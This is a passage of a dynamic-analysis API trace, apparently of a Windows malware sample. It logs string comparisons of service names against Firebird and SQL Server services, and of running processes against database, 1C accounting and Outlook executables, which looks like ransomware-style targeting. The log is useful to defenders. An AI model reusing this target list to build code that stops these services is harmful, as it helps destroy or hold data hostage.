lpString2="CscService") returned 1 [0044.343] lstrlenW (lpString="DcomLaunch") returned 10 [0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.343] lstrlenW (lpString="Dhcp") returned 4 [0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.343] lstrlenW (lpString="Dnscache") returned 8 [0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.343] lstrlenW (lpString="DPS") returned 3 [0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.343] lstrlenW (lpString="eventlog") returned 8 [0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.344] lstrlenW (lpString="EventSystem") returned 11 [0044.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.344] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.344] lstrlenW (lpString="gpsvc") returned 5 [0044.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.344] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.344] lstrlenW (lpString="iphlpsvc") returned 8 [0044.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.344] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.344] lstrlenW (lpString="LanmanServer") returned 12 [0044.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.344] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.344] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.344] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.344] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.345] lstrlenW (lpString="lmhosts") returned 7 [0044.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.345] lstrlenW (lpString="MMCSS") returned 5 [0044.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.345] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.345] lstrlenW (lpString="MpsSvc") returned 6 [0044.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.345] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.345] lstrlenW (lpString="Netman") returned 6 [0044.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.345] lstrlenW (lpString="netprofm") returned 8 [0044.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.345] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.345] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.345] lstrlenW (lpString="NlaSvc") returned 6 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.346] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.346] lstrlenW (lpString="nsi") returned 3 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.346] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.346] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.346] lstrlenW (lpString="PcaSvc") returned 6 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.346] lstrlenW (lpString="PlugPlay") returned 8 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.346] lstrlenW (lpString="Power") returned 5 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.346] lstrlenW (lpString="ProfSvc") returned 7 [0044.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.347] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.347] lstrlenW (lpString="RpcSs") returned 5 [0044.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.347] lstrlenW (lpString="SamSs") returned 5 [0044.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.347] lstrlenW (lpString="Schedule") returned 8 [0044.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.347] lstrlenW (lpString="SENS") returned 4 [0044.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.348] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.348] lstrlenW (lpString="Spooler") returned 7 [0044.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.348] lstrlenW (lpString="SysMain") returned 7 [0044.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.348] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.348] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.348] lstrlenW (lpString="Themes") returned 6 [0044.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.348] lstrlenW (lpString="TrkWks") returned 6 [0044.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.348] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.348] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.348] lstrlenW (lpString="UxSms") returned 5 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.349] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.349] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.349] lstrlenW (lpString="VSS") returned 3 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.349] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.349] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.349] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.349] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.349] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.349] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.349] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.349] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.349] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.349] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.349] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.349] lstrlenW (lpString="Winmgmt") returned 7 [0044.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.350] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.350] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.350] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f300d8 | out: hHeap=0x790000) returned 1 [0044.350] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0044.351] Process32FirstW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.352] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.352] lstrlenW (lpString="System") returned 6 [0044.352] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.352] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.352] lstrlenW (lpString="smss.exe") returned 8 [0044.352] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.353] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.353] lstrlenW (lpString="csrss.exe") returned 9 [0044.353] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.353] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.353] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.353] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.354] lstrlenW (lpString="wininit.exe") returned 11 [0044.354] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0044.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0044.354] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.354] lstrlenW (lpString="csrss.exe") returned 9 [0044.354] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.354] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.354] lstrlenW (lpString="winlogon.exe") returned 12 [0044.354] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.355] lstrlenW (lpString="services.exe") returned 12 [0044.355] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.355] lstrlenW (lpString="lsass.exe") returned 9 [0044.355] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.355] lstrlenW (lpString="lsm.exe") returned 7 [0044.355] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.356] lstrlenW (lpString="svchost.exe") returned 11 [0044.356] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.356] lstrlenW (lpString="svchost.exe") returned 11 [0044.356] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.356] lstrlenW (lpString="svchost.exe") returned 11 [0044.356] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.357] lstrlenW (lpString="svchost.exe") returned 11 [0044.357] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.357] lstrlenW (lpString="svchost.exe") returned 11 [0044.357] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.357] lstrlenW (lpString="audiodg.exe") returned 11 [0044.357] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.357] 